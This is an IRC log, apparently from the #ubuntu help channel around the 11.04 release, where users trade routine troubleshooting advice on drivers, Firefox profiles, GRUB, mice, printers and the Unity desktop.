[01:41] <Flannel> kusanagi: I'm aware of that, and appreciate it.  Support is here, other discussions belong about #ubuntu-offotpic.  Thanks.
[01:41] <Chipzzz> WindowNumOne: I've read that if you plan to dual boot with a window$ partition, you must install window$ first or anticipate great difficulties
[01:41] <amrinz> I am still using LTS :-), but I already finish Natty Release Party yesterday
[01:41] <isarl> uRock: Here's another one for you: when I upgraded, I could barely boot.
[01:41] <uRock> isarl, clean installs for the win
[01:41] <isarl> uRock: average our experiences and it's still pretty terrible.  that's why I used the term "fallout" earlier.
[01:41] <amrinz> kusanagi: upgrading is option
[01:41] <exchgr> is that true, what that spambot said?
[01:42] <Flannel> exchgr: No.
[01:42] <exchgr> good stuff
[01:42] <cached> Is the point of that floodbot just to have us spam #freenode, or is it that someone will impersonate an admin on there and try to steal passwords?
[01:42] <isarl> uRock: it's not just me that's had issues with the new version.  it seems to me that there's been more than usual.
[01:42] <Flannel> uRock, isarl: Please take it to #ubuntu-offtopic, thanks.
[01:42] <uRock> Flannel, NP 8)
[01:42] <Steela> I swear I die if I cant burn a dvd
[01:42] <kusanagi> anybody knows how to dissable snap to grid?
[01:42] <isarl> Flannel: I'd rather just stop talking about it.  But thanks.
[01:43] <Flannel> isarl: That works too, thanks.
[01:43] <aphexcoil> I have a question.  Where can I find a list of minimum hardware requirements for Unity 3D?
[01:43] <isarl> Anybody have any idea how to get nouveau working properly on my system?
[01:43] <everton> bye
[01:43] <kallisti5> any reports of ubuntu 11.04 not booting completely from the install cd?  i get an ubuntu boot background and a cursor... thats it.
[01:44] <amrinz> kallisti5: maybe the boot media corrupted?
[01:44] <kallisti5> amrinz: just burnt it
[01:44] <kallisti5> on new cd-r media
[01:44] <yerac> is there a way just to select file when one click to open is enabled ubuntu 10.10????????????????????????????????
[01:44] <kallisti5> *sigh* who's idea was it to disable ctl+alt+f1-f8 ?
[01:44] <amrinz> kallisti5:I already burnt 50 cd for release party yesterday, and it did well
[01:45] <yerac> please answer, it is annoying
[01:45] <eoss> ive got some kind of flash playing right now event hough mozilla was closed
[01:45] <kusanagi> anybody knows how the effect of maximizing a window when moving next to the border is called so i can google it?
[01:45] <eoss> how i kill the process
[01:45] <Lesterwood> why is vlc so glitchy in ubuntu 11.4
[01:45] <amrinz> except for toshiba netbook (i dont remember the series)
[01:45] <Lesterwood> it is glitchier than anything i have ever used
[01:45] <KM0201> Lesterwood, because 11.4 doesn't exist most likely
[01:45] <kallisti5> amrinz: hmm.. ok will try to reburn
[01:45] <isarl> KM0201: That was really, really helpful. Good work.
[01:45] <KM0201> isarl, i strive
[01:46] <isarl> KM0201: :P
[01:46] <yerac> to kill proces go to shell, type top, remember process id and type kill <id>
[01:46] <Cairo|Mac> does anyone know how to fix this?
[01:46] <Cairo|Mac> http://img535.imageshack.us/img535/9358/img3507sk.jpg
[01:46] <Cairo|Mac> or at least a pointer in the right direction
[01:46] <kellnola> yerac, you can kill from top
[01:46] <isarl> Cairo|Mac: Not sure what you mean.  What's wrong with that screenshot?
[01:46] <yerac> how to kill from top?
[01:46] <rockets> Is there a way to make sure all the base install ubuntu packages are really there? I've already made sure to install ubuntu-desktop but that's not enough.
[01:47] <Cairo|Mac> isarl: starting load fallback graphics devices [fail]
[01:47] <nit-wit> yerac, install htop for that
[01:47] <Cairo|Mac> and it just stalls at hwere it is
[01:47] <Chipzzz> htop is better than top... lets you choose the kill signal
[01:47] <uRock> +1 for htop
[01:47] <Cairo|Mac> so it doesnt get past "checking battery state"
[01:47] <isarl> Cairo|Mac: check /var/log/Xorg.0.log for clues? or can you not even ctrl-alt-f1 into a VT?
[01:47] <Steela> Oh Shoot
[01:47] <Cairo|Mac> yeah i can
[01:48] <isarl> Cairo|Mac: that might give you some clues, then.  but aside from that, I don't know much about it.
[01:48] <Cairo|Mac> whats the name of hte command line text editer again?
[01:48] <uRock> steela, you have a question?
[01:48] <Cairo|Mac> isarl: ok, thanks
[01:48] <isarl> Cairo|Mac: there are many. I use vim; you're probably looking for nano.
[01:48] <Chipzzz> nano, vi, vim...
[01:48] <Cairo|Mac> yeah thats it thanks
[01:48] <yerac> or start processor (widget)
[01:48] <Steela> How do I COMPLETLELY get rid of firefox.. I downloaded an extension and played with about: section and its so messed up I can even type in URL's..
[01:49] <Cairo|Mac> Stameni: sudo apt-get purge firefox
[01:49] <hiexpo> why use nano and vi
[01:49] <Steela> When I remove and reinstall it, it is just the same
[01:49] <Chipzzz> "--purge"
[01:49] <Cairo|Mac> hiexpo: i dont have access to the graphica lstuff atm
[01:49] <jenkinSear> steela: rm -r ~/.mozilla in a shell
[01:50] <rockets> No way to do it :(
[01:50] <uRock> Steela, open Synaptic Package Manager and select to completely remove Firefox
[01:50] <hiexpo> !firefox
[01:50] <ubottu> firefox is the default web-browser on Ubuntu. To install the latest version, see https://help.ubuntu.com/community/FirefoxNewVersion Installing plugins: https://wiki.ubuntu.com/FirefoxPlugins - See also !firefox4
[01:50] <isarl> hiexpo: I like vim because it uses only the keyboard, and has a lot of good mechanisms for navigating text and manipulating it.  Many of my reasons would be repeated by users of emacs.
[01:50] <jenkinSear> uRock, doesn't that leave the crap in the home directory?
[01:51] <Cairo|Mac> isarl: it says it can't find any screens... lol
[01:51] <Steela> jenkinsear I remeoved .mozilla myself but just going around and deleting files and crap but it fugged it up more
[01:51] <uRock> no, it shouldn't. complete removal is supposed to remove that
[01:51] <uRock> jenkinSear, your way is faster and easier
[01:51] <isarl> Cairo|Mac: That's probably not good!  If you copy it into a pastebin somewhere, somebody else might be able to help you, but I'm not very familiar with Xorg, sorry.  =X
[01:51] <Maahes> what's a good web frontend for a caldav server?
[01:52] <Cairo|Mac> isarl: ok np
[01:52] <Cairo|Mac> not sure if i could pastebing it using nano and lynx...
[01:52] <Cairo|Mac> or w/e that text browser is called
[01:52] <kallisti5> amrinz: seems the unity interface isn't starting
[01:52] <Maahes> Cairo|Mac: sudo apt-get install pastebinit
[01:52] <kallisti5> amrinz: i started the cd on another system and it worked fine
[01:52] <isarl> Cairo|Mac: yeah, it's lynx.  but you might be able to copy the file to another computer and pastebin it there.
[01:52] <Maahes> pastebinit should really be installed by default
[01:52] <Cairo|Mac> Maahes: thanks
[01:53] <isarl> Cairo|Mac: or, use Maahes suggestion..!
[01:53] <kallisti5> i hear the ubuntu start up sound... then things just sit there
[01:53] <Maahes> and all you do is pastebinit file and it gives you a link
[01:53] <KM0201> kalleth2, how much ram does that system have?
[01:53] <kallisti5> will the live cd / unity fail if it is using a non-accelerated video driver?
[01:53] <Maahes> there's options too, but I've never really needed to use them ^_^
[01:53] <ayrton> guys i got a stupid question, if i move something to the trash and delete it can i ever get it back?
[01:54] <hiexpo> hmm
[01:54] <kallisti5> KM0201: if you ment me... 5GB
[01:54] <KM0201> kallisti5, a lot of times, yes.. it will not default to the 2d desktop... you can use the alt. cd
[01:54] <Maahes> also instead of lynx try: elinks, links2 or w3m
[01:54] <KM0201> kallisti5, yeah, i did.. thank you
[01:54] <KM0201> kallisti5, whats your graphics device?
[01:54] <kallisti5> Ati radeon HD
[01:54] <kallisti5> 4350 i think
[01:55] <Chipzzz> kallisti5: you can boot into a failsafe graphics mode that will work with anything for testing purposes
[01:55] <kallisti5> k.  is there any way to see syslogs or access a terminal?
[01:55] <kallisti5> ctl+alt+fX would be *inifitely* useful atm
[01:55] <Cairo|Mac> www.paste.ubuntu.com/602066
[01:55] <KM0201> kallisti5, i'm really not sure.. but as said, you can try booting into the failsafe.
[01:55] <kallisti5> k.
[01:56] <kallisti5> thanks for the infos
[01:56] <XuMuK> kalleth2, sudo less /var/log/auth.log
[01:56] <KM0201> kallisti5, i'd be really surprised if that ATI device supported the 3D desktop on the live CD.
[01:56] <jhay> Anyone else who sees their Global Menu/Status Menu freeze every once in a while?
[01:56] <Karen_mm> well done on the 11.04 and the wireless.  My laptop is actually usable with ubuntu now!!  where 10.10 it was not.  Thanks a lot eh?
[01:56] <kallisti5> KM0201: aren't radeon's pretty common?
[01:56] <Stameni> what ? <Cairo|Mac> Stameni: sudo apt-get purge firefox
[01:57] <KM0201> kallisti5, yes, they are, but radeons linux support sucks.
[01:57] <KM0201> always has
[01:57] <Cairo|Mac> Stameni: he was having trouble with firefox
[01:57] <kallisti5> not any more.. the recent radeon xorg drivers work pretty well
[01:57] <Cairo|Mac> oh its you
[01:57] <Cairo|Mac> lol
[01:57] <jhay> Like right now, I can't access the Banshee, Calendar, etc it's frozen
[01:57] <Cairo|Mac> that should get rid of hte config files and stuff for it
[01:57] <Cairo|Mac> do that and then reinstall it
[01:57] <Stameni> Cairo|Mac, so what that has to do with me ? :)
[01:57] <Cairo|Mac> or was it someoen else?...
[01:58] <Cairo|Mac> whoops
[01:58] <kallisti5> are there plans to move away from unity towards gnome 3 at any point?
[01:58] <Stameni> Cairo|Mac :)
[01:58] <Cairo|Mac> lol
[01:58] <kallisti5> cause thus far it has been hit or miss... and gnome 3 is pretty awesome
[01:58] <sebsebseb> kallisti5: no Unity will stay the default for a long time
[01:58] <kallisti5> s$#%$#
[01:58] <kallisti5> ok.. back to debian i go
[01:59] <zacharyalexstern> Is there a keyboard shortcut to maximize windows without taking over the top bar or hiding the dock?
[01:59] <Cairo|Mac> kalleth2: you can use gnome still you know...
[02:00] <KM0201> Cairo|Mac, i've heard a lot of complaints that the live cd will not fall back to gnome, when the 3D desktop fails to load
[02:00] <Cairo|Mac> ok
[02:01] <itaylor57> KM0201: o/
[02:01] <Rehan> has anyone experienced the bug where 11.04 all of a sudden just logs out, saving nothing, and presenting the login screen?
[02:02] <KM0201> itaylor57, o/
[02:02] <jenkinSear> rehan that sounds like an X crash
[02:02] <nawk> Jordan_U I was having a little connection difficulty earlier.  Did you get see my question ? :-)
[02:02] <uRock> Rehan, what did you have running when it happened?
[02:02] <Jordan_U> nawk: No.
[02:02] <Rehan> uRock: libreoffice this time, but before its been terminal
[02:03] <uRock> odd
[02:03] <nawk> Jordan_U may I ask for your permission to pm it to you b/c last time I typed it, the bot kicked me.  (I think the spambot has gotten too sensitive lately, really heh)
[02:04] <Jordan_U> nawk: I'd prefer if you used pastebin for the question.
[02:04] <Rehan> how can I see the error logs of what happened?
[02:04] <nawk> okay, I'll do just that :-)
[02:04] <johwil> Hi all. Is this the right place to talk about an idea for a program?
[02:04] <jenkinSear> Rehan should be in /var/log/Xorg.0.log
[02:05] <Cairo> does anyone know waht might cause this?
[02:05] <Cairo> www.paste.ubuntu.com/602066
[02:05] <Jahooty> i just upgraded to the latest version of ubuntu.  something or other elephant.  How do i prevent the 'taskbar' from autohiding and can i put it on the bottom of the screen?
[02:05] <Jordan_U> johwil: No, but you can try #ubuntu-offtopic.
[02:05] <Cairo> Jordan_U: were you talking to me?
[02:05] <Logan_> Jahooty: It is currently impossible to put it at the bottom of the screen.  However, using ccsm, you can turn off auto-hiding.
[02:05] <Cairo> oh no
[02:05] <Logan_> !ccsm | Jahooty
[02:05] <ubottu> Jahooty: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[02:05] <Cairo> i didnt see that first word lol
[02:06] <Jordan_U> Cairo: No.
[02:06] <Cairo> sorry
[02:06] <Logan_> Jahooty: You'd want the first package in ubottu's response.
[02:06] <claudiomet> greetings ! I have problems with my printer Cannon iP2700 series the error message is File '/System/Library/ColorSync/Profiles/sRGB Profile.icc' not found" in Ubuntu natty
[02:06] <johwil> ok Thanks Jordan_U
[02:06] <Rehan> jenkinSear: here's mine -- any look weird in it? http://pastie.org/1855166
[02:06] <Jordan_U> johwil: You're welcome.
[02:06] <Jahooty> moving a panel/taskbar is now in compiz?
[02:07] <Jahooty> seems like needless complication
[02:07] <Cairo> does anyone have any idea on how to fix this?
[02:07] <ichigo100> thats ubuntu for ya
[02:07] <Cairo> www.paste,ubuntu.com/6-2-66
[02:07] <Cairo> whoops
[02:07] <Cairo> www.paste.ubuntu.com/602066
[02:08] <Guest1224> can i install libreoffice alongside with openoffice
[02:08] <jenkinSear> Rehan, looks like your nvidia drivers are acting up, may be out of sync with your kernel
[02:08] <jenkinSear> I'd suggest reinstalling them
[02:08] <Rehan> jenkinSear: any other log files i should look at?
[02:09] <DrGrov> Evening
[02:09] <DrGrov> How do I easily backup my 10.04 so I can easily do a direct upgrade to 11.04?
[02:09] <Chipzzz> Cairo: I think the url is still ng
[02:09] <HyperShock> claudiomet: have you tried reinstalling it yet?
[02:09] <Cairo> oh
[02:09] <claudiomet> nop, it's a natty fresh installation
[02:10] <Cairo> www.paste.ubuntu/602066
[02:10] <HyperShock> claudiomet: ok, just because ubuntu says it sees it doesn't mean you have the drivers, you are going to have to go get the ppd file and get installed.
[02:10] <Cairo> or
[02:10] <Rehan> DrGrov: you could use the dd command, thats what I do
[02:10] <claudiomet> I reinstalled the printer twice with the same results
[02:10] <tomatobros> hi guys why flash player unstable with natty and fglrx ?
[02:11] <DrGrov> Rehan: Do explain more throughly
[02:11] <Cairo> www.paste.ubuntu.com/602073/
[02:11] <Strav> he. I just finished creating a ext4 raid array on ubuntu 11.04, problem is: it does not mount automatically, regardless of my fstab. Anyone can shed some light on this? (in mdadm.conf, I have ARRAY /dev/md0  metadata=1.2 name=strav-nas:0 UUID=somethingsomething.... If I check /dev, I have a md folder where there's a file named strav-nas:0; don't exactly know what I should do about it)
[02:11] <HyperShock> claudiomet: priv msg me and tell the exact steps you took to install it
[02:11] <Rehan> DrGrov: ok one sec
[02:12] <Guest1224> can i install libreoffice alongside with openoffice
[02:12] <Cairo> Guest1224: why not?
[02:12] <HyperShock> Guest1224: yes
[02:12] <Cairo> you could try
[02:12] <Cairo> !nick Guest1224
[02:12] <Cairo> oh
[02:12] <HyperShock> Guest1224: but why would you, libreoffice is far superior to openoffice
[02:12] <Rehan> DrGrov: you can backup the entire ubuntu partition to either another partition or an external hard drive
[02:12] <DrGrov> Rehan: Sure, no hurry. Please take it in a PM. Would be good to save it as well
[02:13] <Guest1224> !nick wilson
[02:13] <Cairo> anyone have any idea?
[02:13] <Steela> IM Screwed
[02:13] <tomatobros> anyone have same issue with fglrx and adobe flash ? i mean high cpu usage
[02:13] <Chipzzz> Cairo: the url is paste.ubuntu.com/602073 ... the www was messing it up
[02:14] <Cairo> ah
[02:14] <Cairo> ok
[02:14] <Cairo> thanks
[02:14] <Guest1224> hypershock: ok, so how do i remove open office>?
[02:14] <Cairo> paste.ubuntu.com/602066 then
[02:14] <Cairo> caio: lol
[02:14] <nawk> Man, spam must be getting out of hands lately.  I tried to pastebin something simple on paste.debian.net and it's asking me to 'do this,  do that'
[02:14] <Steela> I can not get back firefox the way it was at all.  I did everything sudo apt-get remove , sudo apt-get purge, Tried to remove from ubuntu software center, Synaptic.....NOTHING
[02:15] <Cairo> try deleting the .firefox folder in your home directory
[02:15] <Silentmyst> hey guys, i got a new 6 button mouse, standard left right middle, then 3 on thumb forward back and thumb middle. i can't get linux to detect the middle thumb
[02:15] <Strav> (I should also add, my array is visible from nautilus, it gets mounted using it's UUID)
[02:15] <zacharyalexstern> !unity > zacharyalexstern
[02:15] <ubottu> zacharyalexstern, please see my private message
[02:15] <Silentmyst> i even downloaded btnx in hopes it would detect and configure the buttons, but didn't
[02:16] <Silentmyst> any ideas?
[02:16] <Jahooty> thanks
[02:16] <Steela> I can not get back firefox the way it was at all.  I did everything sudo apt-get remove , sudo apt-get purge, Tried to remove from ubuntu software center, Synaptic.....NOTHING
[02:16] <Steela> how do I remove firefox
[02:16] <Steela> I mean .firefox
[02:16] <newb_> 	My gnome shell stopped working after some system restarts and is running only default gnome interface. How can I back to gnome-shell interface?
[02:16] <calamari> Silentmyst: you could try cat on the mmouse device and see if the kernel is seeing the events
[02:16] <zacharyalexstern> Is there a simple way of creating a Unity 2D session?
[02:17] <kill_joy> hey, if anyone is having issues with synaptic in ubuntu 11.04, I posted a forum thread that solves the issue:  http://ubuntuforums.org/showthread.php?t=1746485
[02:17] <calamari> Steela: *mouse
[02:17] <Steela> I deleted .mozilla its in my trash
[02:17] <nawk> Jordan_U, http://paste.debian.net/?show=115718;lines=0
[02:17] <Steela> Yeah I think its gone
[02:17] <LinuxMonkey> Steela,  what do you mean by "I can not get back firefox the way it was at all"
[02:17] <sakuramboo> Steela: rm $HOME/.mozilla/firefox
[02:17] <nawk> Jordan_U it's a lil follow-up question.
[02:17] <Chipzzz> Cairo: I think the answer lies in line 115
[02:17] <caio> Hello Everybody....
[02:18] <kill_joy> ello, ello
[02:18] <Hoyt> hi , i tried alternative cd , it didn't support root partition encryption ?
[02:18] <kill_joy> well, just wanted to post that thread.  Hope it helps.  bye all
[02:18] <Steela> IT worked fine, I downloaded too much extensions and then changed some setting in about:  Now I cant click on anything, there no extensions cuz I deleted .mozzilla , I cant type in websites
[02:19] <calamari> Silentmyst: don't pm please
[02:19] <Strav> Anyone here with some experience with raid5 on ubuntu >= 10.10
[02:19] <Cairo> Chipzzz: ok thanks
[02:19] <renegaid> ubuntu 11.04 does not install broadcom drivers
[02:19] <caio> Is possible upgrade the backtrack 4 for a Ubuntu 11.04 in aptitude, without change the toolkit
[02:19] <caio> ??
[02:19] <calamari> Silentmyst: open a terminal.. cat /dev/input/mouse0
[02:20] <Silentmyst> k
[02:20] <renegaid> is there anything that i can do to make things faster? things load so slow
[02:20] <Jordan_U> nawk: "Installing" grub using the grub shell is grub legacy, and it only ever actually wrote to areas outside any filesystem. GRUB2 always uses grub-install which installs its modules to the directory specified in the --boot-directory= argument, or /boot if no argument is given, and creates a core.img with those modules needed to access /boot/ and embeds it.
[02:20] <Cairo|Mac> caio: i have a one letter different name :P
[02:20] <Steela> Saku I delete .firefox with mouse do i still need too  rm $HOME/.mozilla/firefox
[02:20] <calamari> Silentmyst: might need sudo for that
[02:21] <Cairo|Mac> Chipzzz: would that mean that i cant use my driver?
[02:21] <Cairo|Mac> wahts with all the floodbots/
[02:21] <soreau> Where is the menu in 11.04? For example, I just want to find Internet applications (in gnome-panel menu it is Applications>Internet>)
[02:22] <Hoyt> hi , is it possible to remove all sort of things related to Unity interface , and get my gnome interface back ?
[02:22] <Ziber> At an interval of about 30 seconds, my computer fan seems to increase in volume and intensity, lasting for 2-3 seconds. Running 10.10... This has happened on most other linuxes that I have tried on this computer. Anything I can do about it?
[02:22] <soreau> Hoyt: Yes, choose classic gnome from the session menu before logging in
[02:22] <xangua> Hoyt: in the login screen, select 'classic desktop'
[02:23] <Silentmyst> yep, ok so i sudo cat, this is where its wierd - its not detecting middle thumb, but nor is it detecting scroll wheel left and right tilts, however btnx detected wheel left and right tilts
[02:23] <Hoyt> Good
[02:23] <calamari> Silentmyst: so you're seeing the gibberish when you push the buttons, except middle thumb?
[02:24] <HyperShock> soreau: put mouse in unity bar, touch bottom of screen so it scrolls all the way down fast, about 1 or 2 icons above the trash can, it says applications and folders, click that icon, in the new window in the upper right corner you can navigate to the other sections, or you can just use the search box at this point
[02:24] <Steela>  This is what I got , rm: cannot remove ' /home/juz/,mozilla./firefox':  Is a directory
[02:24] <Silentmyst> yes, but nothing for left and right wheel tilts either, yet btnx detects left and right tilts as buttons - wierd...
[02:24] <Chipzzz> Cairo: I'm not sure... I would start by removing any traces of the proprietary driver that may be present (although I don't see any mention of it in the log) & reinstalling the default drivers
[02:24] <xangua> Steela: because there is no ",mozilla." directory
[02:25] <isarl> While trying to activate an nvidia driver in the Additional Drivers dialogue, I got an error. /var/log/jockey.log says "modinfo for module nvidia_current failed".  How do I fix this?
[02:25] <Guest1224> hypershock: ok, so how do i remove open office>?
[02:25] <luisgmarine> Hello anyone here experiencing slow graphics performance with 11.04?  I have a macbook pro with an nvidia GT 9600 and I'm trying to play a simple bubble game and it just lags like crazy.
[02:25] <Steela> I mean .mozilla
[02:25] <MACscr> ok, this is frustrating. Ever since upgrading to natty, im getting a lot of popup errors when clicking on shortcuts of mine or even some files. Basically it shows the the correct path to the file, but then says: "Cannot display......The location is not a folder". Why the heck is it thinkings its a folder in the beginning?
[02:25] <calamari> Silentmyst: maybe those are a different mouse device like mouse1, 2, 3?
[02:25] <damadprof_> Is there a program where I can simply drag vob's into and click burn? I've tried Devede and Brasero but neither seem to play nice :(
[02:26] <Silentmyst> im not sure, i just haven't been able to get that middle thumb button working, its like linux is not seeing it at all, the mouse is brand new but the software is windows only so im kinda at a loss
[02:26] <soreau> HyperShock: I dont see what you are talking about
[02:26] <killer_> What is the default IRC program with Ubuntu?
[02:26] <calamari> Silentmyst: I meant, try cat with the other files
[02:27] <xangua> killer_: empathy comes installed, but is very limited for it
[02:27] <isarl> When trying to activate an nvidia driver in Additional Drivers, I get this message: http://paste.ubuntu.com/602077/  How do I fix this?
[02:27] <Sonjaaa> remote desktop viewer doesn't seem to work in natty. i can click around and see the background, but the menus don't pop up and it doesnt' update the screen properly
[02:27] <doc|home> killer_: try x-chat
[02:27] <Silentmyst> 0-1-2-3?
[02:27] <calamari> Silentmyst: yeah
[02:27] <Sonjaaa> calamari: my favourite is konversation
[02:27] <Artarian> LESSON OF THE DAY: Dont ever ever upgrade your ubuntu to 11.04
[02:27] <Silentmyst> k 1 sec
[02:27] <Sonjaaa> Artarian:  wait for 11.10 eh :)
[02:28] <a111> How would i limit the cpu % a user can use?
[02:28] <calamari> Artarian: if something was working for you, why upgrade?
[02:28] <Cairo|Mac> Chipzzz: default as in noveua?
[02:28] <isarl> Sonjaaa: or do a fresh install.  but don't upgrade.
[02:28] <Artarian> Sonjaaa, he*l yea
[02:28] <Chipzzz> Silentmyst: have you read this?
[02:28] <Artarian> calamari,  to experience new feature?
[02:28] <Chipzzz> Cairo: yes
[02:28] <killer_> doc|home: ok.  currently using XChat.  I wanted to see what other options there were and prefer to start with 'default' apps in the various *buntu flavors.
[02:28] <soreau> HyperShock: I see what you mean now.. this upper right menu is not visible at first until clicking more applications or anything
[02:28] <calamari> Artarian: you're experiencing the new features lol
[02:28] <Chipzzz> (if memory serves)
[02:28] <HyperShock> Guest1224: in your ubuntu software center, you can find and remove open-office there or you can from shell do sudo apt-get remove open-office
[02:28] <nawk> Jordan_U in grub legacy, I was given the impression that when 'root (hdX, Y)' it installs the '/boot/' stuff into the filesystem on the partition.  So, when you say that "it only ever actually wrote to areas outside any filesystem", I would think that "area outside of the fs" would be an area in the beginning of the partition, before the fs starts?
[02:28] <laterallink> a111,  ulimits  perhaps
[02:29] <HyperShock> soreau: yeah....
[02:29] <Artarian> calamari, trust me i am ! lol nvidia and ATI graphic cards are just hell now
[02:29] <Jordan_U> nawk: Your impression was incorrect.
[02:29] <doc|home> killer_: most people use that or irssi (console based)
[02:29] <HyperShock> soreau: and then a strange thing starts to happen, this unity it grows on you like ringworm, only you are not scratching.
[02:29] <soreau> HyperShock: Way more to do just to see the menu than in gnome 2.0/maverick
[02:29] <nawk> Jordan_U Is my latter assumption somewhat closer to reality?
[02:29] <Rehan> jenkinSear: how would i reinstall my nvidia drivers?
[02:29] <HyperShock> soreau: for instance i've figure out how to cull my unity and reorganize it already
[02:29] <Jordan_U> nawk: No.
[02:30] <calamari> Artarian: but seriously.. that's why I'm running a frankenbuntu of kde3.5 and lucid
[02:30] <l1nuxman> why am I getting "apache2: bad user name ${APACHE_RUN_USER}" when I run 'apache2 -S' ??
[02:30] <HyperShock> soreau: yeah, cept you should put your commonly used items on the unity bar
[02:30] <killer_> doc|home: are there addons for XChat?  I can't put my finger on it but there is just a few things I don't like about it.
[02:30] <soreau> HyperShock: I just want an easy way to access the menu
[02:30] <Silentmyst> calamari, ok so i cat 1-2-3, nothing happens at all with mouse1 - and mouse 2 and 3 aren't found
[02:30] <doc|home> killer_: yep, haven't used many though
[02:30] <doc|home> back later
[02:30] <calamari> Silentmyst: k.. well that was my only idea. basically those should be showing whatever linux sees
[02:31] <Jordan_U> nawk: extN and most other linux filesystems only have one free sector at the beginning, not enough to embed enough code to read said filesystem and load the rest of your code from. Btrfs does have such an embedded area reserved though.
[02:31] <calamari> Silentmyst: however it's possible that the additional functions are in a different device as well that I don't know about
[02:31] <Silentmyst> darn
[02:31] <HyperShock> soreau: however you are missing other things too, for instance get your mouse off the unity, minimize your apps and check out that default menu to the right the unity ubuntu icon on the top panel, it's not there, hidden by default, but when you mouse over, well, and you can access system settings and places from it
[02:32] <Sonjaaa> isarl:  what part of the upgrade fails when fresh install is fine?
[02:32] <calamari> Silentmyst: there are a number of /dev/input/event# devices in mine
[02:32] <Maahes> how big is the ubuntu server cd?
[02:33] <isarl> Sonjaaa: Well, for me, my graphics drivers are totally broken.  But it's different in every situation.  Fresh installs are just generally more headache-free.
[02:33] <Sonjaaa> cool
[02:33] <Silentmyst> guess i'll just be stuck with out it sadly - dunno what else to do
[02:33] <Silentmyst> thx for your help cal
[02:33] <calamari> Silentmyst: yw.. btw is it usb?
[02:34] <gonzalo> Hello, I am trying to install a program called ROOT. I did: ./configure and it says: libX11 MUST be installed. I ran the command: sudo apt-get install libx11-dev and it said it is already installed. What is wrong here? Thank you.
[02:34] <Silentmyst> use wireless
[02:34] <ChapterNZ> Hi all, anyone else having issues with pidgin not showing in the notification area after a dist-upgrade? (I've reinstalled pidgin-libnotify)
[02:34] <HyperShock> Silentmyst: what seems to be the problem?
[02:34] <mathboy2600> Wubi doesnt seem to be updating my boot.ini on windows xp. is xp no longer supported?
[02:34] <Silentmyst> i can't get 1 of 6 buttons on my new mouse to be seen by linux
[02:34] <Silentmyst> its got 3 normal left right middle, and 3 thumb forward back and middle
[02:34] <HyperShock> wow, was there room for the optical eye?
[02:35] <Silentmyst> linux doesn't see middle
[02:35] <HyperShock> so 5 out 6 are working?
[02:35] <Silentmyst> yea
[02:35] <Jordan_U> mathboy2600: XP is still supported. You're saying that it didn't modify your boot.ini during install?
[02:35] <HyperShock> what is make and model of the mouse?
[02:35] <ErezCohen> I thought i won't hear XP in this room :-)
[02:36] <gonzalo> Help, please!
[02:36] <foodstamp> that a gopher
[02:36] <mathboy2600> thats correct. it didnt modify it
[02:36] <HyperShock> ErezCohen: (offtopic) think of the our braille readers, they had to actually touch those two letters! sorry for them. ick.
[02:36] <Silentmyst> some cheap brand i got a best buy lol - rocketfish ergo - its a 2.4ghz wireless laser - model no. rf-mse14
[02:37] <nawk> Jordan_U: okay.  it would answer what I had in mind if you could explain where grub legacy puts the stuff when the user specifies 'root (hdX, Y)'
[02:37] <tripelb> I have XP. How else would I run photoshop if I wanted to, or skype with my webcam, or deal with an antivirus program, or compare font-goodness, or use a version of Picasa that works.  (but I havent been there in months)
[02:37] <Rehan> jenkinSear: how would i reinstall my nvidia drivers?
[02:37] <ErezCohen> LOL
[02:37] <Silentmyst> the software it came with is windows only, no linux support
[02:37] <calamari> tripelb: picasa works fine in linux btw.. it's a hellish mix of wine but it works
[02:37] <gonzalo> Help me, please :)
[02:37] <HyperShock> wow, tripe, so many good thinks in linux exceed what you are keeping ecks pea for
[02:37] <nawk> Jordan_U just the gist of it, to keep it short :-)
[02:37] <HyperShock> thinks = things
[02:37] <ErezCohen> if u really need to run photoshop, use MAC!!! :-)
[02:38] <gonzalo> Can somebody help me with a linux question?
[02:38] <ErezCohen> any way, serious question....any admins over here? i really need help
[02:38] <MACscr> tripelb: photoshop cs5 runs pretty decent for me in wine.
[02:38] <Jordan_U> nawk: Nothing happens when you specify 'root (hdX,Y)', it's 'setup' that actually does the writing. If you don't already have the stage files in /boot/grub/ (on the filesystem specified by 'root (hdX,Y)') then setup will fail.
[02:39] <MACscr> ErezCohen: define "admin"
[02:39] <HyperShock> gonzalo: uh, duh, this is ubuntu channel, so please ask the question... :)
[02:39] <isarl> gonzalo: read the topic.  Don't ask to ask a question, just ask it.
[02:39] <Silentmyst> gonzalo: just post ur question
[02:39] <calamari> gonzalo: what is this ROOT program.. thats the key here
[02:39] <bth1202> hello
[02:39] <gonzalo> I asked it
[02:39] <gonzalo> before
[02:39] <openbees> how can i change my default gdm login theme..?
[02:39] <gonzalo> I'll copy
[02:39] <ErezCohen> ok...i will define my question, maybe it will be better :-)
[02:39] <ChapterNZ> Anyone else having issues with pidgin not showing in the notification area after a dist-upgrade? (I've reinstalled pidgin-libnotify, whitelisted 'all' in gsettings.... any pointers anyone?
[02:39] <gonzalo> Hello, I am trying to install a program called ROOT. I did: ./configure and it says: libX11 MUST be installed. I ran the command: sudo apt-get install libx11-dev and it said it is already installed. What is wrong here? Thank you.
[02:39] <openbees> how can i change my default gdm login theme..? i am using ubuntu 11.04 ....
[02:40] <xangua> openbees:  you can change the gtk them , but don't know how
[02:40] <gonzalo> ROOT is a program developed by a Physics laboratory: CERN. http://root.cern.ch
[02:40] <ErezCohen> just installed my brand new 10.04 server (full install by myself from scratch for the first time)...and every thing went pretty good
[02:40] <bth1202> I tried to install Ubuntu with ubuntu CD on a latest computer system
[02:40] <openbees> xangua: i needs HOW ?
[02:40] <ErezCohen> i am doing it because i need to let other develop with me on a django project...
[02:41] <Rehan> how can i find out which driver i have installed for my display?
[02:41] <xangua> openbees: perhaps google knows
[02:41] <gonzalo> I installed ROOT successfully on Ubuntu 10.10 a couple of weeks ago
[02:41] <ErezCohen> do i installed everything
[02:41] <WindowNumOne> Can some1 help! This is my biggest prob EVAAaAAAA
[02:41] <Chipzzz> Rehan lsmod
[02:41] <ErezCohen> now..i am working on a MAC and trying to open the project on the server from eclipse from my mac
[02:41] <bth1202> However, It shows some error message, DVI-D recognition error, and then stopped installing.
[02:41] <ErezCohen> and i am getting permistion denied all the time....
[02:41] <caio> Openbees : type in termina gdmsetup with root
[02:42] <ErezCohen> but i did mount the directory on the server
[02:42] <caio> openbees: terminal*
[02:42] <openbees> xangua : unfortunately  NO .....i read on many tutorial that this feature is disabled after 9.10
[02:42] <ErezCohen> so i don't understand how can i mount the directory but not able to do other stuff?
